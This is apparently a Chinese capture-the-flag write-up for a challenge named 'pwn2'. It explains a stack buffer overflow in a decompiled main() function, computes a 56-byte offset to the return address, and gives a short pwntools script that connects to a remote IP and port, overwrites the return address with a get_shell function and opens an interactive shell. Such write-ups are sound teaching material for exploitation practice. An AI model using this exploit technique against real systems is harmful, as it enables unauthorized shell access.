pwn2
首先下载到文件,直接拿去分析

再使用ida查看源代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[48]; // [rsp+0h] [rbp-30h] BYREF
memset(s, 0, sizeof(s)); ###用0填充字符串s,填充的长度是字符串s的长度,也就是说s的内容全为0
setvbuf(stdout, 0LL, 2, 0LL); ###义流 stdout应如何缓冲
setvbuf(stdin, 0LL, 1, 0LL);
puts("say something?"); ###输出字符串
read(0, s, 0x100uLL); ###读取数据
puts("oh,that's so boring!");
return 0;
}

这个时候我们可以利用read函数的读取长度造成栈溢出,进而覆盖掉打印出puts("say something?");到get_shell地址,这样就可以跳转得到flag。我们之前检查的时候看到没有溢出的保护机制



我们计算一下地址0030-0000转换成16进制就是48,r表示为返回地址也占8个位,那么我们一共要覆盖48+8=56,在56位之后加上get_shell的地址0x400751
所以我们现在构建payload:

当然也有另一种脚本:
from pwn import *
r=remote('114.116.54.89',10003) //进行远程连接
payload='a'*0x38+p64(0x400751) //构造栈溢出
r.sendline(payload) //发送子命令
r.interactive() //交互模式
如果看不懂建议看B站大佬视频:
https://www.bilibili.com/video/av47344110/

浙公网安备 33010602011771号